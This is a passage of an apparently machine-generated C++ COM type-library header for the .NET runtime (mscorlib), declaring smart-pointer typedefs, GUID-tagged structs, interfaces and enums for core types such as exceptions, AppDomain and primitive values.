__uuidof(IFormatterConverter)); _COM_SMARTPTR_TYPEDEF(ICustomFactory, __uuidof(ICustomFactory)); _COM_SMARTPTR_TYPEDEF(IRemotingTypeInfo, __uuidof(IRemotingTypeInfo)); _COM_SMARTPTR_TYPEDEF(_Object, __uuidof(_Object)); _COM_SMARTPTR_TYPEDEF(_ObjectHandle, __uuidof(_ObjectHandle)); _COM_SMARTPTR_TYPEDEF(IReflect, __uuidof(IReflect)); _COM_SMARTPTR_TYPEDEF(ISymbolBinder, __uuidof(ISymbolBinder)); _COM_SMARTPTR_TYPEDEF(ISymbolBinder1, __uuidof(ISymbolBinder1)); _COM_SMARTPTR_TYPEDEF(ISymbolMethod, __uuidof(ISymbolMethod)); _COM_SMARTPTR_TYPEDEF(ISymbolReader, __uuidof(ISymbolReader)); _COM_SMARTPTR_TYPEDEF(ISymbolScope, __uuidof(ISymbolScope)); _COM_SMARTPTR_TYPEDEF(_Assembly, __uuidof(_Assembly)); _COM_SMARTPTR_TYPEDEF(ITypeLibImporterNotifySink, __uuidof(ITypeLibImporterNotifySink)); _COM_SMARTPTR_TYPEDEF(IRegistrationServices, __uuidof(IRegistrationServices)); _COM_SMARTPTR_TYPEDEF(ITypeLibExporterNotifySink, __uuidof(ITypeLibExporterNotifySink)); _COM_SMARTPTR_TYPEDEF(ITypeLibConverter, __uuidof(ITypeLibConverter)); _COM_SMARTPTR_TYPEDEF(_MethodBase, __uuidof(_MethodBase)); _COM_SMARTPTR_TYPEDEF(IMethodMessage, __uuidof(IMethodMessage)); _COM_SMARTPTR_TYPEDEF(_MethodInfo, __uuidof(_MethodInfo)); _COM_SMARTPTR_TYPEDEF(_Delegate, __uuidof(_Delegate)); _COM_SMARTPTR_TYPEDEF(_EventInfo, __uuidof(_EventInfo)); _COM_SMARTPTR_TYPEDEF(_ConstructorInfo, __uuidof(_ConstructorInfo)); _COM_SMARTPTR_TYPEDEF(_FieldInfo, __uuidof(_FieldInfo)); _COM_SMARTPTR_TYPEDEF(_PropertyInfo, __uuidof(_PropertyInfo)); _COM_SMARTPTR_TYPEDEF(IExpando, __uuidof(IExpando)); _COM_SMARTPTR_TYPEDEF(_Binder, __uuidof(_Binder)); _COM_SMARTPTR_TYPEDEF(ISerializationSurrogate, __uuidof(ISerializationSurrogate)); _COM_SMARTPTR_TYPEDEF(ISurrogateSelector, __uuidof(ISurrogateSelector)); _COM_SMARTPTR_TYPEDEF(IFormatter, __uuidof(IFormatter)); _COM_SMARTPTR_TYPEDEF(IContextAttribute, __uuidof(IContextAttribute)); _COM_SMARTPTR_TYPEDEF(IActivator, __uuidof(IActivator)); _COM_SMARTPTR_TYPEDEF(IConstructionCallMessage, __uuidof(IConstructionCallMessage)); _COM_SMARTPTR_TYPEDEF(IContextPropertyActivator, __uuidof(IContextPropertyActivator)); _COM_SMARTPTR_TYPEDEF(IClientChannelSinkStack, __uuidof(IClientChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(IClientChannelSink, __uuidof(IClientChannelSink)); _COM_SMARTPTR_TYPEDEF(IClientChannelSinkProvider, __uuidof(IClientChannelSinkProvider)); _COM_SMARTPTR_TYPEDEF(IServerChannelSinkStack, __uuidof(IServerChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(IServerChannelSink, __uuidof(IServerChannelSink)); _COM_SMARTPTR_TYPEDEF(IServerChannelSinkProvider, __uuidof(IServerChannelSinkProvider)); _COM_SMARTPTR_TYPEDEF(IChannelReceiverHook, __uuidof(IChannelReceiverHook)); _COM_SMARTPTR_TYPEDEF(ISponsor, __uuidof(ISponsor)); _COM_SMARTPTR_TYPEDEF(ILease, __uuidof(ILease)); // // Type library items // struct __declspec(uuid("81c5fe01-027c-3e1c-98d5-da9c9862aa21")) Object; // [ default ] interface _Object struct __declspec(uuid("a1c0a095-df97-3441-bfc1-c9f194e494db")) Exception; // interface _Object // interface ISerializable // [ default ] interface _Exception struct __declspec(uuid("ce8ad32f-b6db-31ea-9f1e-c2424e0f5eee")) ValueType; // [ default ] interface _ValueType // interface _Object struct __declspec(uuid("deb0e770-91fd-3cf6-9a6c-e6a3656f3965")) IComparable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CompareTo ( /*[in]*/ VARIANT obj, /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("c43345b9-7fed-3fc7-8fc2-7b1b82bc109e")) Enum; // [ default ] interface _Enum // interface _Object // interface IComparable // interface IFormattable // interface IConvertible struct __declspec(uuid("0cb251a7-3ab3-3b5c-a0b8-9ddf88824b85")) ICloneable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Clone ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("03ce85f6-37cb-3588-b3db-d5628bb1335b")) Delegate; // [ default ] interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("198ffbde-a6db-3cc3-ab15-fbbb7250d624")) MulticastDelegate; // [ default ] interface _MulticastDelegate // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("496b0abe-cdee-11d3-88e8-00902754c43a")) IEnumerable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetEnumerator ( /*[out,retval]*/ struct IEnumVARIANT * * pRetVal ) = 0; }; struct __declspec(uuid("7bcfa00f-f764-3113-9140-3bbd127a96bb")) IList : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Item ( /*[in]*/ long index, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall putref_Item ( /*[in]*/ long index, /*[in]*/ VARIANT pRetVal ) = 0; virtual HRESULT __stdcall Add ( /*[in]*/ VARIANT value, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall Contains ( /*[in]*/ VARIANT value, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Clear ( ) = 0; virtual HRESULT __stdcall get_IsReadOnly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFixedSize ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall IndexOf ( /*[in]*/ VARIANT value, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall Insert ( /*[in]*/ long index, /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall Remove ( /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall RemoveAt ( /*[in]*/ long index ) = 0; }; struct __declspec(uuid("200fb91c-815d-39e0-9e07-0e1bdb2ed47b")) Array; // [ default ] interface _Array // interface _Object // interface ICloneable // interface IList // interface ICollection // interface IEnumerable struct __declspec(uuid("496b0abf-cdee-11d3-88e8-00902754c43a")) IEnumerator : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall MoveNext ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_Current ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Reset ( ) = 0; }; struct __declspec(uuid("805d7a98-d4af-3f0f-967f-e5cf45312d2c")) IDisposable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Dispose ( ) = 0; }; struct __declspec(uuid("296afbff-1b0b-3ff5-9d6c-4e7e599f8b57")) String; // [ default ] interface _String // interface _Object // interface IComparable // interface ICloneable // interface IConvertible // interface IEnumerable struct __declspec(uuid("c20fd3eb-7022-3d14-8477-760fab54e50d")) IComparer : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Compare ( /*[in]*/ VARIANT x, /*[in]*/ VARIANT y, /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("aab7c6ea-cab0-3adb-82aa-cf32e29af238")) IEqualityComparer : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT x, /*[in]*/ VARIANT y, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[in]*/ VARIANT obj, /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("8ea98c90-180d-39ae-aa70-2aa3d5ebb7ae")) StringComparer; // [ default ] interface _StringComparer // interface _Object // interface IComparer // interface IEqualityComparer enum __declspec(uuid("d0431551-3853-37f8-b714-8a8986e1ea38")) StringComparison { StringComparison_CurrentCulture = 0, StringComparison_CurrentCultureIgnoreCase = 1, StringComparison_InvariantCulture = 2, StringComparison_InvariantCultureIgnoreCase = 3, StringComparison_Ordinal = 4, StringComparison_OrdinalIgnoreCase = 5 }; struct __declspec(uuid("e724b749-18d6-36ab-9f6d-09c36d9c6016")) StringBuilder; // [ default ] interface _StringBuilder // interface _Object // interface ISerializable enum __declspec(uuid("69cedc24-bc35-3354-b324-6bd5f3ecb757")) DateTimeKind { DateTimeKind_Unspecified = 0, DateTimeKind_Utc = 1, DateTimeKind_Local = 2 }; struct __declspec(uuid("ab3f47e4-c227-3b05-bf9f-94649bef9888")) IDeserializationCallback : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall OnDeserialization ( /*[in]*/ VARIANT sender ) = 0; }; struct __declspec(uuid("4224ac84-9b11-3561-8923-c893ca77acbe")) SystemException; // [ default ] interface _SystemException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("ccf306ae-33bd-3003-9cce-daf5befef611")) OutOfMemoryException; // [ default ] interface _OutOfMemoryException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("9c125a6f-eae2-3fc1-97a1-c0dceab0b5df")) StackOverflowException; // [ default ] interface _StackOverflowException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("aad4bdd3-81aa-3abc-b53b-d904d25bc01e")) DataMisalignedException; // [ default ] interface _DataMisalignedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("e786fb32-b659-3d96-94c4-e1a9fc037868")) ExecutionEngineException; // [ default ] interface _ExecutionEngineException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("0ff66430-c796-3ee7-902b-166c402ca288")) MemberAccessException; // [ default ] interface _MemberAccessException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("03973551-57a1-3900-a2b5-9083e3ff2943")) _Activator : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("9ba4fd4e-2bc2-31a0-b721-d17aba5b12c3")) Activator; // interface _Object // [ default ] interface _Activator struct __declspec(uuid("4c3ebfd5-fc72-33dc-bc37-9953eb25b8d7")) AccessViolationException; // [ default ] interface _AccessViolationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("1d09b407-a97f-378a-accb-82ca0082f9f3")) ApplicationActivator; // [ default ] interface _ApplicationActivator // interface _Object struct __declspec(uuid("682d63b8-1692-31be-88cd-5cb1f79edb7b")) ApplicationException; // [ default ] interface _ApplicationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("3fb717af-9d21-3016-871a-df817abddd51")) EventArgs; // [ default ] interface _EventArgs // interface _Object struct __declspec(uuid("1c1d34a9-3f45-3b51-a9af-0354975bf8cc")) ResolveEventArgs; // [ default ] interface _ResolveEventArgs // interface _Object struct __declspec(uuid("81548590-3849-32a8-aa6f-f2b3137cf4a3")) AssemblyLoadEventArgs; // [ default ] interface _AssemblyLoadEventArgs // interface _Object struct __declspec(uuid("a4b8c851-941a-3dee-bd08-d9e2eed101c5")) ResolveEventHandler; // [ default ] interface _ResolveEventHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("2e130dc8-564e-397f-a628-397709da52e9")) AssemblyLoadEventHandler; // [ default ] interface _AssemblyLoadEventHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("fa525b27-3d69-3116-8d15-0064f6299548")) AppDomainInitializer; // [ default ] interface _AppDomainInitializer // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("14b542c6-1c5a-3869-b8f8-feefd7b29d09")) MarshalByRefObject; // [ default ] interface _MarshalByRefObject // interface _Object struct __declspec(uuid("5fe0a145-a82b-3d96-94e3-fd214c9d6eb9")) AppDomain; // interface _Object // [ default ] interface _AppDomain // interface IEvidenceFactory struct __declspec(uuid("496219c1-3fb7-3dcf-8af7-d56032f7891f")) CrossAppDomainDelegate; // [ default ] interface _CrossAppDomainDelegate // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable enum __declspec(uuid("148540d3-e67f-36dc-a55d-2c8dec53b9d3")) AppDomainManagerInitializationOptions { AppDomainManagerInitializationOptions_None = 0, AppDomainManagerInitializationOptions_RegisterWithHost = 1 }; struct __declspec(uuid("c03880a5-0b5e-39ad-954a-ce0dcbd5ef7d")) AppDomainManager; // [ default ] interface _AppDomainManager // interface _Object struct __declspec(uuid("27fff232-a7a8-40dd-8d4a-734ad59fcd41")) IAppDomainSetup : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ApplicationBase ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_ApplicationBase ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_ApplicationName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_ApplicationName ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_CachePath ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_CachePath ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_ConfigurationFile ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_ConfigurationFile ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_DynamicBase ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_DynamicBase ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_LicenseFile ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_LicenseFile ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_PrivateBinPath ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_PrivateBinPath ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_PrivateBinPathProbe ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_PrivateBinPathProbe ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_ShadowCopyDirectories ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_ShadowCopyDirectories ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_ShadowCopyFiles ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_ShadowCopyFiles ( /*[in]*/ BSTR pRetVal ) = 0; }; struct __declspec(uuid("3e8e0f03-d3fd-3a93-bae0-c74a6494dbca")) AppDomainSetup; // interface _Object // [ default ] interface IAppDomainSetup enum __declspec(uuid("8a6c24c5-1f87-37c2-bc4d-3421eb62d4c1")) LoaderOptimization { LoaderOptimization_NotSpecified = 0, LoaderOptimization_SingleDomain = 1, LoaderOptimization_MultiDomain = 2, LoaderOptimization_MultiDomainHost = 3, LoaderOptimization_DomainMask = 3, LoaderOptimization_DisallowBindings = 4 }; struct __declspec(uuid("917b14d0-2d9e-38b8-92a9-381acf52f7c0")) _Attribute : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("1765714b-e628-34c3-b66f-7686faf462da")) Attribute; // interface _Object // [ default ] interface _Attribute struct __declspec(uuid("b39742fd-1a55-3810-9ea5-f6e86ebeb472")) LoaderOptimizationAttribute; // [ default ] interface _LoaderOptimizationAttribute // interface _Object // interface _Attribute struct __declspec(uuid("61b3e12b-3586-3a58-a497-7ed7c4c794b9")) AppDomainUnloadedException; // [ default ] interface _AppDomainUnloadedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("d85d40ce-a21a-3c41-a38f-323709b37697")) EvidenceBase; // [ default ] interface _EvidenceBase // interface _Object struct __declspec(uuid("d12b05f9-0654-351a-92d1-8fdac1f243de")) ActivationArguments; // [ default ] interface _ActivationArguments // interface _Object struct __declspec(uuid("af3866ad-f70a-3cf8-984e-858c5a686d57")) ApplicationId; // [ default ] interface _ApplicationId // interface _Object struct __declspec(uuid("3fdceec6-b14b-37e2-bb69-abc7ca0da22f")) ArgumentException; // [ default ] interface _ArgumentException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("3bd1f243-9bc4-305d-9b1c-0d10c80329fc")) ArgumentNullException; // [ default ] interface _ArgumentNullException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("74bdd0b9-38d7-3fda-a67e-d404ee684f24")) ArgumentOutOfRangeException; // [ default ] interface _ArgumentOutOfRangeException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("647053c3-1879-34d7-ae57-67015c91fc70")) ArithmeticException; // [ default ] interface _ArithmeticException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("676e1164-752c-3a74-8d3f-bcd32a2026d6")) ArrayTypeMismatchException; // [ default ] interface _ArrayTypeMismatchException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("b2a87ddb-5dab-395f-b7be-ad83058fb516")) AsyncCallback; // [ default ] interface _AsyncCallback // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable enum __declspec(uuid("9bc2306f-4971-38f5-b861-f19c022274a0")) AttributeTargets { AttributeTargets_Assembly = 1, AttributeTargets_Module = 2, AttributeTargets_Class = 4, AttributeTargets_Struct = 8, AttributeTargets_Enum = 16, AttributeTargets_Constructor = 32, AttributeTargets_Method = 64, AttributeTargets_Property = 128, AttributeTargets_Field = 256, AttributeTargets_Event = 512, AttributeTargets_Interface = 1024, AttributeTargets_Parameter = 2048, AttributeTargets_Delegate = 4096, AttributeTargets_ReturnValue = 8192, AttributeTargets_GenericParameter = 16384, AttributeTargets_All = 32767 }; struct __declspec(uuid("53a62bb1-75b9-3b52-ae98-92afd573cdb1")) AttributeUsageAttribute; // [ default ] interface _AttributeUsageAttribute // interface _Object // interface _Attribute struct __declspec(uuid("e9148312-a9bf-3a45-bbca-350967fd78f5")) BadImageFormatException; // [ default ] interface _BadImageFormatException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 4) struct __declspec(uuid("c3008e12-9b16-36ec-b731-73257f25be7a")) Boolean { long m_value; }; #pragma pack(pop) struct __declspec(uuid("830fe109-4566-3af2-9b57-5602724fcace")) Buffer; // [ default ] interface _Buffer // interface _Object #pragma pack(push, 1) struct __declspec(uuid("9b957340-adba-3234-91ea-46a5c9bff530")) Byte { unsigned char m_value; }; #pragma pack(pop) struct __declspec(uuid("29c69707-875f-3678-8f01-283094a2dfb1")) CannotUnloadAppDomainException; // [ default ] interface _CannotUnloadAppDomainException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 1) struct __declspec(uuid("6ee96102-3657-3d66-867a-26b63aaaaf78")) Char { unsigned char m_value; }; #pragma pack(pop) struct __declspec(uuid("277eabd6-f03a-3c52-8b42-b8e326d9c0cc")) CharEnumerator; // [ default ] interface _CharEnumerator // interface _Object // interface ICloneable // interface IDisposable // interface IEnumerator struct __declspec(uuid("15dbec24-0e2d-3db2-af66-932203215895")) CLSCompliantAttribute; // [ default ] interface _CLSCompliantAttribute // interface _Object // interface _Attribute struct __declspec(uuid("d6d2034d-5f67-30d7-9cc5-452f2c46694f")) TypeUnloadedException; // [ default ] interface _TypeUnloadedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("c281c7f1-4aa9-3517-961a-463cfed57e75")) _Thread : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("314bda5a-9292-3fc0-830d-7a4b0261fc88")) CriticalFinalizerObject; // [ default ] interface _CriticalFinalizerObject // interface _Object struct __declspec(uuid("cbeaa915-4d2c-3f77-98e8-a258b0fd3cef")) ContextMarshalException; // [ default ] interface _ContextMarshalException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("7916cbef-050e-3e39-b83a-5ab9558e72f1")) ContextBoundObject; // [ default ] interface _ContextBoundObject // interface _Object struct __declspec(uuid("96705ee3-f7ab-3e9a-9fb2-ad1d536e901a")) ContextStaticAttribute; // [ default ] interface _ContextStaticAttribute // interface _Object // interface _Attribute struct __declspec(uuid("543c0dd8-a713-3777-b01a-aeb801dac001")) TimeZone; // [ default ] interface _TimeZone // interface _Object enum __declspec(uuid("12d4d747-6b55-36f2-9108-3ee9bc0ffefd")) DayOfWeek { DayOfWeek_Sunday = 0, DayOfWeek_Monday = 1, DayOfWeek_Tuesday = 2, DayOfWeek_Wednesday = 3, DayOfWeek_Thursday = 4, DayOfWeek_Friday = 5, DayOfWeek_Saturday = 6 }; struct __declspec(uuid("8c1a4524-3ceb-3436-b449-cac456ecab09")) DBNull; // [ default ] interface _DBNull // interface _Object // interface ISerializable // interface IConvertible #pragma pack(push, 4) struct __declspec(uuid("6fb370d8-4f72-3ac1-9a32-3875f336ecb5")) Decimal { long flags; long hi; long lo; long mid; }; #pragma pack(pop) struct __declspec(uuid("74a6b90c-8710-32da-bbf7-9d4445e071e9")) Binder; // [ default ] interface _Binder // interface _Object struct __declspec(uuid("f6914a11-d95d-324f-ba0f-39a374625290")) DivideByZeroException; // [ default ] interface _DivideByZeroException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 8) struct __declspec(uuid("0f4f147f-4369-3388-8e4b-71e20c96f9ad")) Double { double m_value; }; #pragma pack(pop) struct __declspec(uuid("cc20c6df-a054-3f09-a5f5-a3b5a25f4ce6")) DuplicateWaitObjectException; // [ default ] interface _DuplicateWaitObjectException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("112bc2e7-9ef9-3648-af9e-45c0d4b89929")) TypeLoadException; // [ default ] interface _TypeLoadException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("ad326409-bf80-3e0c-ba6f-ee2c33b675a5")) EntryPointNotFoundException; // [ default ] interface _EntryPointNotFoundException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("46e97093-b2ec-3787-a9a5-470d1a27417c")) DllNotFoundException; // [ default ] interface _DllNotFoundException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("3b1774cd-34e0-3c00-aabd-168b38c62fd9")) EnvironmentVariableTarget { EnvironmentVariableTarget_Process = 0, EnvironmentVariableTarget_User = 1, EnvironmentVariableTarget_Machine = 2 }; struct __declspec(uuid("df81b4ff-7226-30fa-84df-80795ba1a642")) Environment; // [ default ] interface _Environment // interface _Object struct __declspec(uuid("dca836de-c23d-334c-86b7-8385be47030d")) EventHandler; // [ default ] interface _EventHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("bda7bee5-85f1-3b66-b610-ddf1d5898006")) FieldAccessException; // [ default ] interface _FieldAccessException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("66ce75d4-0334-3ca6-bca8-ce9af28a4396")) FlagsAttribute; // [ default ] interface _FlagsAttribute // interface _Object // interface _Attribute struct __declspec(uuid("964aa3bd-4b12-3e23-9d7f-99342afae812")) FormatException; // [ default ] interface _FormatException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 4) struct __declspec(uuid("9c5923e9-de52-33ea-88de-7ebc8633b9cc")) Guid { long _a; short _b; short _c; unsigned char _d; unsigned char _e; unsigned char _f; unsigned char _g; unsigned char _h; unsigned char _i; unsigned char _j; unsigned char _k; }; #pragma pack(pop) struct __declspec(uuid("5ca9971b-2dc3-3bc8-847a-5e6d15cbb16e")) IndexOutOfRangeException; // [ default ] interface _IndexOutOfRangeException // interface _Object // interface ISerializable // interface _Exception #pragma pack(push, 2) struct __declspec(uuid("206daf34-5ba5-3504-8a19-d57699561886")) Int16 { short m_value; }; #pragma pack(pop) #pragma pack(push, 4) struct __declspec(uuid("a310fadd-7c33-377c-9d6b-599b0317d7f2")) Int32 { long m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("ad1cecf5-5fad-3ecf-ad89-2febd6521fa9")) Int64 { __int64 m_value; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("a1cb710c-8d50-3181-bb38-65ce2e98f9a6")) IntPtr { void * m_value; }; #pragma pack(pop) struct __declspec(uuid("7f6bcbe5-eb30-370b-9f1b-92a6265afedd")) InvalidCastException; // [ default ] interface _InvalidCastException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("9546306b-1b68-33af-80db-3a9206501515")) InvalidOperationException; // [ default ] interface _InvalidOperationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("91591469-efef-3d63-90f9-88520f0aa1ef")) InvalidProgramException; // [ default ] interface _InvalidProgramException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("e95e800a-cba4-3613-821d-6d6ef3bcbf6b")) LocalDataStoreSlot; // [ default ] interface _LocalDataStoreSlot // interface _Object struct __declspec(uuid("92e76a74-2622-3aa9-a3ca-1ae8bd7bc4a8")) MethodAccessException; // [ default ] interface _MethodAccessException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("d12abe44-783e-328b-aad3-4ed726e903c7")) MidpointRounding { MidpointRounding_ToEven = 0, MidpointRounding_AwayFromZero = 1 }; struct __declspec(uuid("cdc70043-d56b-3799-b7bd-6113bbca160a")) MissingMemberException; // [ default ] interface _MissingMemberException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("8d36569b-14d6-3c3d-b55c-9d02a45bfc3d")) MissingFieldException; // [ default ] interface _MissingFieldException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("58897d76-ef6c-327a-93f7-6cd66c424e11")) MissingMethodException; // [ default ] interface _MissingMethodException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("9da2f8b8-59f0-3852-b509-0663e3bf643b")) MulticastNotSupportedException; // [ default ] interface _MulticastNotSupportedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("cc77f5f3-222d-3586-88c3-410477a3b65d")) NonSerializedAttribute; // [ default ] interface _NonSerializedAttribute // interface _Object // interface _Attribute struct __declspec(uuid("7e34ab89-0684-3b86-8a0f-e638eb4e6252")) NotFiniteNumberException; // [ default ] interface _NotFiniteNumberException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("f8be2ad5-4e99-3e00-b10e-7c54d31c1c1d")) NotImplementedException; // [ default ] interface _NotImplementedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("dafb2462-2a5b-3818-b17e-602984fe1bb0")) NotSupportedException; // [ default ] interface _NotSupportedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("7f71db2d-1ea0-3cae-8087-26095f5215e6")) NullReferenceException; // [ default ] interface _NullReferenceException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("f17baaf6-d35c-3c6e-acd3-d0d49a5022c4")) ObjectDisposedException; // [ default ] interface _ObjectDisposedException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("08295c62-7462-3633-b35e-7ae68aca3948")) ObsoleteAttribute; // [ default ] interface _ObsoleteAttribute // interface _Object // interface _Attribute struct __declspec(uuid("d7ca3b25-a57b-354c-8758-9fe3a905c1ac")) OperatingSystem; // [ default ] interface _OperatingSystem // interface _Object // interface ICloneable // 